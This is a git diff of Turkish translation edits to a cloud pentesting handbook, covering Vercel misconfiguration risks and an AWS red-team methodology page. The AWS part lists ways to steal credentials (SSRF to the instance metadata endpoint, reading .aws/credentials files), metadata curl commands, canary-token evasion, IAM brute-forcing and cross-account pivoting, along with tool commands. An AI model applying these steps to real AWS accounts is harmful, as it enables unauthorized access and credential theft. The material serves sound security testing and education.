+- **Risk:** Kötü niyetli kod, kod tabanına birleştirilebilir, zafiyetler veya arka kapılar tanıtabilir.
**OIDC Federasyonu ile Güvenli Arka Uç Erişimi**
@@ -228,7 +225,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
- **Yanlış Yapılandırma:** Saklama sürelerini çok kısa (dağıtım geçmişini kaybetmek) veya çok uzun (gereksiz veri saklama) ayarlamak.
- **Risk:** Gerekli olduğunda geri alma yapamama veya eski dağıtımlardan veri açığa çıkma riskinin artması.
-**Son Zamanlarda Silinen Dağıtımlar**
+**Yeni Silinen Dağıtımlar**
- **Yanlış Yapılandırma:** Silinen dağıtımları izlememek veya yalnızca otomatik silmelere güvenmek.
- **Risk:** Kritik dağıtım geçmişinin kaybı, denetimleri ve geri alımları engeller.
@@ -243,7 +240,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
**Dizin Listeleme**
-- **Yanlış Yapılandırma:** Dizin listelemeyi etkinleştirmek, kullanıcıların dizin içeriğini bir dizin dosyası olmadan görüntülemesine izin verir.
+- **Yanlış Yapılandırma:** Dizin listelemeyi etkinleştirmek, kullanıcıların dizin içeriklerini bir indeks dosyası olmadan görüntülemesine izin verir.
- **Risk:** Hassas dosyaların, uygulama yapısının ve saldırılar için potansiyel giriş noktalarının açığa çıkması.
---
@@ -261,7 +258,7 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
### Özel Kurallar ve IP Engelleme
-- **Yanlış Yapılandırma:** Trafiği engelleme/açma izni verir.
+- **Yanlış Yapılandırma:** Trafiği engellemek/açmak için izin verir.
- **Risk:** Kötü niyetli trafiğe izin verme veya masum trafiği engelleme potansiyeli.
---
@@ -270,13 +267,13 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
### Kaynak
-- **Yanlış Yapılandırma:** Uygulamanın tam kaynak kodunu okumaya erişim sağlar.
+- **Yanlış Yapılandırma:** Uygulamanın tam kaynak kodunu okumak için erişim sağlar.
- **Risk:** Hassas bilgilerin potansiyel açığa çıkması.
### Eşitsizlik Koruması
- **Yanlış Yapılandırma:** Bu koruma, istemci ve sunucu uygulamasının her zaman aynı sürümü kullanmasını sağlar, böylece istemcinin sunucudan farklı bir sürüm kullanması ve dolayısıyla birbirlerini anlamamaları durumu oluşmaz.
-- **Risk:** Bunu devre dışı bırakmak (eğer etkinse) gelecekteki yeni dağıtımlarda DoS sorunlarına yol açabilir.
+- **Risk:** Bunu devre dışı bırakmak (eğer etkinse) gelecekte yeni dağıtımlarda DoS sorunlarına yol açabilir.
---
@@ -320,12 +317,12 @@ Vercel'de bir **Ekip**, bir müşteriye ait olan **ortam**dır ve bir **proje**,
### Erişim Grupları
-Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla birlikte projelerin ve ekip üyelerinin bir koleksiyonudur ve çoklu projeler arasında merkezi ve akıcı erişim yönetimi sağlar.
+Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamaları ile bir araya getirilmiş projeler ve ekip üyelerinin bir koleksiyonudur ve çoklu projeler arasında merkezi ve akıcı erişim yönetimi sağlar.
**Potansiyel Yanlış Yapılandırmalar:**
-- **Aşırı İzin Verme:** Gereğinden fazla izinle rol atamak, yetkisiz erişim veya eylemlere yol açabilir.
-- **Yanlış Rol Atamaları:** Ekip üyelerinin sorumluluklarıyla uyumlu olmayan rollerin yanlış atanması, ayrıcalıkların yükselmesine neden olabilir.
+- **Üyeleri Aşırı İzinlendirme:** Gereğinden fazla izinlere sahip roller atamak, yetkisiz erişim veya eylemlere yol açabilir.
+- **Yanlış Rol Atamaları:** Ekip üyelerinin sorumluluklarıyla uyumlu olmayan roller atamak, ayrıcalıkların yükselmesine neden olabilir.
- **Proje Ayrımı Eksikliği:** Hassas projeleri ayırmamak, istenenden daha geniş erişime izin verir.
- **Yetersiz Grup Yönetimi:** Erişim Gruplarını düzenli olarak gözden geçirmemek veya güncellemeler yapmamak, güncel olmayan veya uygunsuz erişim izinlerine yol açar.
- **Tutarsız Rol Tanımları:** Farklı Erişim Grupları arasında tutarsız veya belirsiz rol tanımları kullanmak, kafa karışıklığına ve güvenlik açıklarına yol açar.
@@ -337,7 +334,7 @@ Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla bir
#### Güvenlik Yapılandırmaları:
- **Üçüncü taraflara Log Drains:**
-- **Yanlış Yapılandırma:** Bir saldırgan, günlükleri çalmak için bir Log Drain yapılandırabilir.
+- **Yanlış Yapılandırma:** Bir saldırgan, logları çalmak için bir Log Drain yapılandırabilir.
- **Risk:** Kısmi kalıcılık.
---
@@ -346,7 +343,7 @@ Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla bir
#### Güvenlik Yapılandırmaları:
-- **Ekip E-posta Alanı:** Yapılandırıldığında, bu ayar, belirtilen alanla (örneğin, `mydomain.com`) biten e-posta adreslerine sahip Vercel Kişisel Hesaplarını otomatik olarak davet eder.
+- **Ekip E-posta Alanı:** Yapılandırıldığında, bu ayar, belirtilen alan adıyla (örneğin, `mydomain.com`) biten e-posta adreslerine sahip Vercel Kişisel Hesaplarını otomatik olarak davet eder.
- **Yanlış Yapılandırma:**
- Yanlış e-posta alanı belirtmek veya Ekip E-posta Alanı ayarında yanlış yazılmış bir alan kullanmak.
- Şirket spesifik bir alan yerine yaygın bir e-posta alanı (örneğin, `gmail.com`, `hotmail.com`) kullanmak.
@@ -359,28 +356,28 @@ Vercel'deki bir **Erişim Grubu**, önceden tanımlanmış rol atamalarıyla bir
- **Yetkisiz Dağıtımlar:** Diğer ekipler, kuruluşunuzun Git kapsamlarından yetkisiz olarak depo dağıtabilir.
- **Fikri Mülkiyet Açığı:** Sahip kod, ekibinizin dışında dağıtılabilir ve erişilebilir.
- **Ortam Değişkeni Politikaları:** Ekibin ortam değişkenlerinin oluşturulması ve düzenlenmesi için politikaları zorunlu kılar. Özellikle, tüm ortam değişkenlerinin yalnızca Vercel'in dağıtım sistemi tarafından şifrelenebilen **Hassas Ortam Değişkenleri** olarak oluşturulmasını zorunlu kılabilirsiniz.
-- **Yanlış Yapılandırma:** Hassas ortam değişkenlerinin zorunlu kılınmasını devre dışı bırakmak.
+- **Yanlış Yapılandırma:** Hassas ortam değişkenlerinin zorunluluğunu devre dışı bırakmak.
- **Riskler:**
- **Sırların Açığa Çıkması:** Ortam değişkenleri, yetkisiz ekip üyeleri tarafından görüntülenebilir veya düzenlenebilir.
- **Veri İhlali:** API anahtarları ve kimlik bilgileri gibi hassas bilgilerin sızdırılması.
- **Denetim Günlüğü:** Ekibin etkinliğinin son 90 güne kadar bir dışa aktarımını sağlar. Denetim günlükleri, ekip üyeleri tarafından gerçekleştirilen eylemleri izlemeye ve takip etmeye yardımcı olur.
- **Yanlış Yapılandırma:**\
-Yetkisiz ekip üyelerine denetim günlüklerine erişim izni vermek.
+Yetkisiz ekip üyelerine denetim günlüklerine erişim vermek.
- **Riskler:**
-- **Gizlilik İhlalleri:** Hassas kullanıcı etkinliklerinin ve verilerin açığa çıkması.
+- **Gizlilik İhlalleri:** Hassas kullanıcı etkinlikleri ve verilerin açığa çıkması.
- **Günlüklerle Oynama:** Kötü niyetli aktörler, izlerini örtmek için günlükleri değiştirebilir veya silebilir.
-- **SAML Tek Oturum Açma:** Ekibiniz için SAML kimlik doğrulamasını ve dizin senkronizasyonunu özelleştirmenize olanak tanır, merkezi kimlik doğrulama ve kullanıcı yönetimi için bir Kimlik Sağlayıcısı (IdP) ile entegrasyon sağlar.
+- **SAML Tek Oturum Açma:** Ekibiniz için SAML kimlik doğrulamasını ve dizin senkronizasyonunu özelleştirmenize olanak tanır, merkezi kimlik doğrulama ve kullanıcı yönetimi için bir Kimlik Sağlayıcı (IdP) ile entegrasyon sağlar.
- **Yanlış Yapılandırma:** Bir saldırgan, SAML parametrelerini (örneğin, Varlık Kimliği, SSO URL'si veya sertifika parmak izleri) ayarlayarak ekibi arka kapı ile kurabilir.
- **Risk:** Kalıcılığı sürdürmek.
- **IP Adresi Görünürlüğü:** IP adreslerinin, belirli veri koruma yasaları altında kişisel bilgi olarak kabul edilebileceği durumlarda, İzleme sorgularında ve Log Drains'de görüntülenip görüntülenmeyeceğini kontrol eder.
- **Yanlış Yapılandırma:** Gereksiz yere IP adresi görünürlüğünü etkin bırakmak.
- **Riskler:**
-- **Gizlilik İhlalleri:** GDPR gibi veri koruma düzenlemeleriyle uyumsuzluk.
+- **Gizlilik İhlalleri:** GDPR gibi veri koruma düzenlemelerine uyumsuzluk.
- **Hukuki Sonuçlar:** Kişisel verilerin kötü yönetimi nedeniyle potansiyel para cezaları ve yaptırımlar.
- **IP Engelleme:** Vercel'in istekleri engellemesi gereken IP adreslerini ve CIDR aralıklarını yapılandırmanıza olanak tanır. Engellenen istekler, faturalamanıza katkıda bulunmaz.
- **Yanlış Yapılandırma:** Bir saldırgan tarafından kötü niyetli trafiğe izin vermek veya meşru trafiği engellemek için kötüye kullanılabilir.
- **Riskler:**
-- **Meşru Kullanıcılara Hizmetin Reddedilmesi:** Geçerli kullanıcıların veya ortakların erişiminin engellenmesi.
+- **Meşru Kullanıcılara Hizmet Reddi:** Geçerli kullanıcılar veya ortaklar için erişimi engelleme.
- **Operasyonel Kesintiler:** Belirli bölgeler veya müşteriler için hizmetin kullanılabilirliğinin kaybı.
---
@@ -393,7 +390,7 @@ Yetkisiz ekip üyelerine denetim günlüklerine erişim izni vermek.
1. **Yanlış AWS Bölgesi Seçimi**
- **Yanlış Yapılandırma:** Güvenli Hesaplama ağı için arka uç hizmetlerinin bölgesiyle eşleşmeyen bir AWS bölgesi seçmek.
-- **Risk:** Artan gecikme, potansiyel veri ikamet uyumu sorunları ve performans düşüklüğü.
+- **Risk:** Artan gecikme, potansiyel veri ikamet uyumu sorunları ve kötüleşen performans.
2. **Çakışan CIDR Blokları**
- **Yanlış Yapılandırma:** Mevcut VPC'lerle veya diğer ağlarla çakışan CIDR blokları seçmek.
- **Risk:** Ağ çatışmaları, başarısız bağlantılar, yetkisiz erişim veya ağlar arasında veri sızıntısına yol açabilir.
@@ -401,25 +398,25 @@ Yetkisiz ekip üyelerine denetim günlüklerine erişim izni vermek.
- **Yanlış Yapılandırma:** VPC peering'i yanlış ayarlamak (örneğin, yanlış VPC kimlikleri, eksik yönlendirme tablosu güncellemeleri).
- **Risk:** Arka uç altyapısına yetkisiz erişim, güvenli bağlantıların başarısız olması ve potansiyel veri ihlalleri.
4. **Aşırı Proje Atamaları**
-- **Yanlış Yapılandırma:** Uygun izolasyon olmadan bir güvenli hesaplama ağına birden fazla proje atamak.
-- **Risk:** Paylaşılan IP açığı, saldırı yüzeyini artırır ve potansiyel olarak tehlikeye giren projelerin diğerlerini etkilemesine neden olabilir.
+- **Yanlış Yapılandırma:** Uygun izolasyon olmadan tek bir Güvenli Hesaplama ağına birden fazla proje atamak.
+- **Risk:** Paylaşılan IP açığı, saldırı yüzeyini artırır ve potansiyel olarak tehlikeye atılmış projelerin diğerlerini etkilemesine izin verir.
5. **Yetersiz IP Adresi Yönetimi**
- **Yanlış Yapılandırma:** Ayrıcalıklı IP adreslerini uygun şekilde yönetmemek veya döndürmemek.
-- **Risk:** IP sahtekarlığı, izleme zafiyetleri ve IP'lerin kötü niyetli faaliyetlerle ilişkilendirilmesi durumunda potansiyel kara listeye alınma.
-6. **Gereksiz Yapılandırma Konteynerleri Ekleme**
-- **Yanlış Yapılandırma:** Arka uç erişimi gerekmeyen durumlarda yapılandırma konteynerlerini güvenli hesaplama ağına eklemek.
-- **Risk:** Genişletilmiş saldırı yüzeyi, artan tahsis gecikmeleri ve gereksiz ağ kaynaklarının tüketimi.
+- **Risk:** IP sahteciliği, izleme zafiyetleri ve IP'lerin kötü niyetli faaliyetlerle ilişkilendirilmesi durumunda potansiyel kara listeye alınma.
+6. **Gereksiz Derleme Konteynerlerini Dahil Etme**
+- **Yanlış Yapılandırma:** Arka uç erişimi gerekmeyen durumlarda Güvenli Hesaplama ağına derleme konteynerlerini eklemek.
+- **Risk:** Genişleyen saldırı yüzeyi, artan tahsis gecikmeleri ve ağ kaynaklarının gereksiz tüketimi.
7. **Atlatma Sırlarını Güvenli Bir Şekilde Yönetmeme**
- **Yanlış Yapılandırma:** Dağıtım korumalarını atlatmak için kullanılan sırları açığa çıkarmak veya yanlış yönetmek.
- **Risk:** Korunan dağıtımlara yetkisiz erişim, saldırganların kötü niyetli kodu manipüle etmesine veya dağıtmasına izin verir.
8. **Bölge Yedekleme Yapılandırmalarını Görmezden Gelme**
- **Yanlış Yapılandırma:** Pasif yedekleme bölgeleri kurmamak veya yedekleme ayarlarını yanlış yapılandırmak.
- **Risk:** Birincil bölge kesintileri sırasında hizmet kesintisi, kullanılabilirliğin azalması ve potansiyel veri tutarsızlığı.
-9. **VPC Peering Bağlantı Limitlerini Aşma**
-- **Yanlış Yapılandırma:** İzin verilen limitten daha fazla VPC peering bağlantısı kurmaya çalışmak (örneğin, 50 bağlantıyı aşmak).
-- **Risk:** Gerekli arka uç hizmetlerine güvenli bir şekilde bağlanamama, dağıtım hatalarına ve operasyonel kesintilere yol açabilir.
+9. **VPC Peering Bağlantı Sınırlarını Aşma**
+- **Yanlış Yapılandırma:** İzin verilen sınırdan daha fazla VPC peering bağlantısı kurmaya çalışmak (örneğin, 50 bağlantıyı aşmak).
+- **Risk:** Gerekli arka uç hizmetlerine güvenli bir şekilde bağlanamama, dağıtım hataları ve operasyonel kesintiler.
10. **Güvensiz Ağ Ayarları**
-- **Yanlış Yapılandırma:** Zayıf güvenlik duvarı kuralları, şifreleme eksikliği veya güvenli hesaplama ağı içinde yanlış ağ segmentasyonu.
+- **Yanlış Yapılandırma:** Zayıf güvenlik duvarı kuralları, şifreleme eksikliği veya Güvenli Hesaplama ağı içinde yanlış ağ segmentasyonu.
- **Risk:** Veri kesintisi, arka uç hizmetlerine yetkisiz erişim ve saldırılara karşı artan zafiyet.
---
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index dc9aeb0c3..ee36b6f6b 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -4,15 +4,15 @@
## Temel Bilgiler
-**Pentesting'e başlamadan önce** bir **AWS** ortamında bilmeniz gereken birkaç **temel şey** var; bu, ne yapmanız gerektiğini, yanlış yapılandırmaları nasıl bulacağınızı ve bunları nasıl istismar edeceğinizi anlamanıza yardımcı olacaktır.
+**AWS** ortamında **pentesting** yapmaya başlamadan önce, AWS'nin nasıl çalıştığı hakkında bilmeniz gereken birkaç **temel şey** vardır. Bu, ne yapmanız gerektiğini, yanlış yapılandırmaları nasıl bulacağınızı ve bunları nasıl istismar edeceğinizi anlamanıza yardımcı olacaktır.
-Organizasyon hiyerarşisi, IAM ve diğer temel kavramlar hakkında açıklamalar için:
+Organizasyon hiyerarşisi, IAM ve diğer temel kavramlar hakkında bilgiler:
{{#ref}}
aws-basic-information/
{{#endref}}
-## Öğrenmek için Laboratuvarlar
+## Öğrenme Laboratuvarları
- [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat)
- [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable)
@@ -27,20 +27,20 @@ Saldırı simülasyonu için araçlar:
- [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/)
- [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main)
-## AWS Pentester/Kırmızı Ekip Metodolojisi
+## AWS Pentester/Kırmızı Takım Metodolojisi
-Bir AWS ortamını denetlemek için bilmeniz gereken çok önemli noktalar: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç AWS hizmetlerinin **harici hizmetlerle** nasıl bağlantılı olduğudur.
+AWS ortamını denetlemek için bilmeniz gereken çok önemli noktalar: hangi **hizmetlerin kullanıldığı**, neyin **açık olduğu**, kimin neye **erişimi olduğu** ve iç AWS hizmetlerinin **harici hizmetlerle** nasıl bağlantılı olduğudur.
-Kırmızı Ekip bakış açısıyla, bir AWS ortamını ele geçirmenin **ilk adımı** bazı **kimlik bilgilerini** elde etmektir. Bunu nasıl yapacağınıza dair bazı fikirler:
+Kırmızı takım açısından, bir AWS ortamını ele geçirmenin **ilk adımı** bazı **kimlik bilgilerini** elde etmektir. Bunu nasıl yapacağınıza dair bazı fikirler:
- Github'daki **sızıntılar** (veya benzeri) - OSINT
- **Sosyal** Mühendislik
-- **Şifre** yeniden kullanımı (şifre sızıntıları)
+- **Şifre** tekrar kullanımı (şifre sızıntıları)
- AWS-Hosted Uygulamalardaki Güvenlik Açıkları
-- [**Sunucu Tarafı İstek Sahteciliği**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ile meta veri uç noktasına erişim
+- [**Sunucu Tarafı İstek Sahteciliği**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) ile metadata uç noktasına erişim
- **Yerel Dosya Okuma**
-- `/home/KULLANICI_ADI/.aws/credentials`
-- `C:\Users\KULLANICI_ADI\.aws\credentials`
+- `/home/USERNAME/.aws/credentials`
+- `C:\Users\USERNAME\.aws\credentials`
- 3. tarafların **ihlal edilmesi**
- **İç** Çalışan
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)kimlik bilgileri
@@ -58,13 +58,13 @@ aws-permissions-for-a-pentest.md
{{#endref}}
> [!NOTE]
-> Kimlik bilgilerini elde etmeyi başardıktan sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmalısınız:
+> Kimlik bilgilerini elde ettikten sonra, bu kimlik bilgilerin kime ait olduğunu ve **neye erişim sağladıklarını** bilmeniz gerekir, bu nedenle bazı temel sayım işlemleri yapmalısınız:
## Temel Sayım
### SSRF
-AWS içindeki bir makinede bir SSRF bulduysanız, bu sayfayı hileler için kontrol edin:
+AWS içindeki bir makinede bir SSRF bulduysanız, bu sayfayı kontrol edin:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
@@ -89,7 +89,7 @@ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metad
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document
```
> [!CAUTION]
-> Şirketlerin **canary token'lar** kullanarak **token'ların çalındığını ve kullanıldığını** belirleyebileceğini unutmayın. Kullanımdan önce bir token'ın canary token olup olmadığını kontrol etmeniz önerilir.\
+> Şirketlerin **tokenlerin çalındığını ve kullanıldığını** belirlemek için **canary tokenleri** kullanabileceğini unutmayın. Kullanımdan önce bir tokenin canary token olup olmadığını kontrol etmeniz önerilir.\
> Daha fazla bilgi için [**bu sayfayı kontrol edin**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass).
### Org Enumeration
@@ -100,7 +100,7 @@ aws-services/aws-organizations-enum.md
### IAM Enumeration
-Yeterli izinleriniz varsa, **AWS hesabındaki her varlığın ayrıcalıklarını kontrol etmek** sizin ve diğer kimliklerin ne yapabileceğini ve nasıl **ayrıcalıkları artırabileceğinizi** anlamanıza yardımcı olacaktır.
+Yeterli izinleriniz varsa, **AWS hesabındaki her varlığın ayrıcalıklarını kontrol etmek** ne yapabileceğinizi ve diğer kimliklerin ne yapabileceğini anlamanıza yardımcı olacaktır ve **ayrıcalıkları artırma** yollarını öğrenmenizi sağlar.
IAM'yi listelemek için yeterli izniniz yoksa, bunları **bruteforce ile çalabilirsiniz**.\
**Listeleme ve brute-forcing nasıl yapılır** kontrol edin:
@@ -110,18 +110,18 @@ aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahip olduğunuzda** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Ortamda hangi hizmetlerin kullanıldığını belirleme zamanı.\
+> Artık **kimlik bilgileriniz hakkında bazı bilgilere sahipsiniz** (ve eğer bir kırmızı takım iseniz umarım **tespit edilmemişsinizdir**). Hangi hizmetlerin ortamda kullanıldığını belirleme zamanı.\
> Aşağıdaki bölümde **bazı yaygın hizmetleri listeleme** yollarını kontrol edebilirsiniz.
## Services Enumeration, Post-Exploitation & Persistence
-AWS, şaşırtıcı bir hizmet miktarına sahiptir, aşağıdaki sayfada **temel bilgiler, listeleme** kılavuzları\*\*,\*\* **tespiti önleme**, **kalıcılık** sağlama ve bazıları hakkında diğer **sonrası istismar** ipuçlarını bulacaksınız:
+AWS, şaşırtıcı bir hizmet miktarına sahiptir, aşağıdaki sayfada **temel bilgiler, listeleme** kılavuzları\*\*,\*\* **tespiti önleme**, **kalıcılık** sağlama ve bunlardan bazıları hakkında diğer **post-exploitation** ipuçlarını bulacaksınız:
{{#ref}}
aws-services/
{{#endref}}
-Tüm çalışmaları **manuel** olarak yapmanıza gerek olmadığını unutmayın, bu yazının aşağısında [**otomatik araçlar**](./#automated-tools) hakkında bir **bölüm** bulabilirsiniz.
+Tüm çalışmaları **manuel** olarak yapmanıza gerek olmadığını unutmayın, bu yazıda **[otomatik araçlar](./#automated-tools)** hakkında bir **bölüm** bulabilirsiniz.
Ayrıca, bu aşamada **kimlik doğrulaması yapılmamış kullanıcılara açık daha fazla hizmet keşfetmiş olabilirsiniz**, bunları istismar edebilirsiniz:
@@ -139,7 +139,7 @@ aws-privilege-escalation/
## Publicly Exposed Services
-AWS hizmetlerini listeleme sırasında bazılarını **İnternete açık öğeler** (VM/Konteyner portları, veritabanları veya kuyruk hizmetleri, anlık görüntüler veya kovalar...) sunduğunu bulmuş olabilirsiniz.\
+AWS hizmetlerini listeleme sırasında, bazı hizmetlerin **İnternete elemanlar açtığını** bulmuş olabilirsiniz (VM/Konteyner portları, veritabanları veya kuyruk hizmetleri, anlık görüntüler veya bucketlar...).\
Pentester/kırmızı takım üyesi olarak, bunlarda **hassas bilgiler / zafiyetler** bulup bulamayacağınızı her zaman kontrol etmelisiniz, çünkü bunlar size **AWS hesabına daha fazla erişim** sağlayabilir.
Bu kitapta **açık AWS hizmetlerini bulma ve bunları kontrol etme** hakkında **bilgi** bulmalısınız. **Açık ağ hizmetlerinde zafiyetler bulma** hakkında, belirli **hizmeti** aramanızı öneririm:
@@ -152,16 +152,16 @@ https://book.hacktricks.xyz/
### From the root/management account
-Yönetim hesabı organizasyonda yeni hesaplar oluşturduğunda, yeni hesapta varsayılan olarak **`OrganizationAccountAccessRole`** adı verilen **yeni bir rol** oluşturulur ve **yönetim hesabına** yeni hesaba erişim için **AdministratorAccess** politikası verilir.
+Yönetim hesabı organizasyonda yeni hesaplar oluşturduğunda, yeni hesapta varsayılan olarak **`OrganizationAccountAccessRole`** adı verilen **yeni bir rol** oluşturulur ve **yönetim hesabına** yeni hesaba erişim sağlamak için **AdministratorAccess** politikası verilir.
-Bu nedenle, bir çocuk hesaba yönetici olarak erişmek için şunlara ihtiyacınız var:
+Bu nedenle, bir çocuk hesaba yönetici olarak erişmek için şunları yapmanız gerekir:
- **Yönetim** hesabını **ele geçirmek** ve **çocuk hesapların** **ID'sini** ve **rolün** **isimlerini** (varsayılan olarak OrganizationAccountAccessRole) bulmak, yönetim hesabının yönetici olarak erişmesine izin verir.
- Çocuk hesapları bulmak için AWS konsolundaki organizasyonlar bölümüne gidin veya `aws organizations list-accounts` komutunu çalıştırın.
-- Rollerin adını doğrudan bulamazsınız, bu nedenle tüm özel IAM politikalarını kontrol edin ve **önceden keşfedilen çocuk hesaplar üzerinde `sts:AssumeRole` izni veren herhangi birini arayın**.
-- Yönetim hesabındaki bir **prensibi** **çocuk hesaplardaki rol üzerinde `sts:AssumeRole` izni ile ele geçirin** (hesap, yönetim hesabından herhangi birinin taklit etmesine izin veriyorsa, dış bir hesap olduğu için belirli `sts:AssumeRole` izinleri gereklidir).
+- Rollerin adını doğrudan bulamazsınız, bu nedenle tüm özel IAM politikalarını kontrol edin ve **daha önce keşfedilen çocuk hesaplar üzerinde `sts:AssumeRole` izni veren herhangi birini arayın**.
+- Yönetim hesabındaki bir **prensibi** **çocuk hesaplardaki rol üzerinde `sts:AssumeRole` izni ile ele geçirin** (hesap, yönetim hesabından herhangi birinin taklit etmesine izin veriyor olsa bile, dış bir hesap olduğu için belirli `sts:AssumeRole` izinleri gereklidir).
## Automated Tools
@@ -178,7 +178,7 @@ AWS_PROFILE= aws_recon \
--regions global,us-east-1,us-east-2 \
--verbose
```
-- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist, Bulut Sağlayıcılarından Varlıklar (Host Adları, IP Adresleri) almak için **çoklu bulut aracı**dır.
+- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist, Bulut Sağlayıcılarından Varlıklar (Ana Bilgisayar İsimleri, IP Adresleri) almak için **çoklu bulut aracı**dır.
- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper, Amazon Web Services (AWS) ortamlarınızı analiz etmenize yardımcı olur. Artık güvenlik sorunları için denetim de dahil olmak üzere çok daha fazla işlevsellik içermektedir.
```bash
# Installation steps in github
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-- [**cartography**](https://github.com/lyft/cartography): Cartography, Neo4j veritabanası tarafından desteklenen sezgisel bir grafik görünümünde altyapı varlıklarını ve bunlar arasındaki ilişkileri birleştiren bir Python aracıdır.
+- [**cartography**](https://github.com/lyft/cartography): Cartography, altyapı varlıklarını ve bunlar arasındaki ilişkileri, Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde birleştiren bir Python aracıdır.
```bash
# Install
pip install cartography
@@ -233,14 +233,14 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri Neo4j veritabanı destekli sezgisel bir grafik görünümünde toplar.
-- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 kullanır) Bu, bir hesapta oluşturulan tüm [**AWS kaynaklarını**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) **keşfetmeye** çalışan bir araçtır.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve daha fazlası dahil olmak üzere hizmetlerden ve sistemlerden varlıkları ve ilişkileri toplayarak Neo4j veritabanı ile desteklenen sezgisel bir grafik görünümüne dönüştürür.
+- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 kullanır) Bu, bir hesapta oluşturulan **tüm** [**AWS kaynaklarını**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) **keşfetmeye** çalışan bir araçtır.
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Bu, bir AWS hesabıyla ilişkili **tüm genel IP adreslerini** (hem IPv4/IPv6) **alma** aracı.
### Privesc & Exploiting
-- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Taranan AWS ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admin'leri de dahil olmak üzere keşfedin. PowerShell kullanır. **`Check-PrivilegedPolicy`** fonksiyonunda **ayrıcalıklı politikaların tanımını** bulabilirsiniz [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu, bulut ortamlarına karşı saldırgan güvenlik testleri için tasarlanmış açık kaynaklı bir **AWS exploitation framework**'üdür. **Numaralandırabilir**, **yanlış yapılandırmaları** bulabilir ve bunları **istismar edebilir**. **`user_escalation_methods`** dict içinde [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) adresinde **ayrıcalıklı izinlerin tanımını** bulabilirsiniz.
+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Taranan AWS ortamındaki en ayrıcalıklı kullanıcıları, AWS Shadow Admins dahil, keşfedin. PowerShell kullanır. **`Check-PrivilegedPolicy`** fonksiyonunda **ayrıcalıklı politikaların tanımını** bulabilirsiniz [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
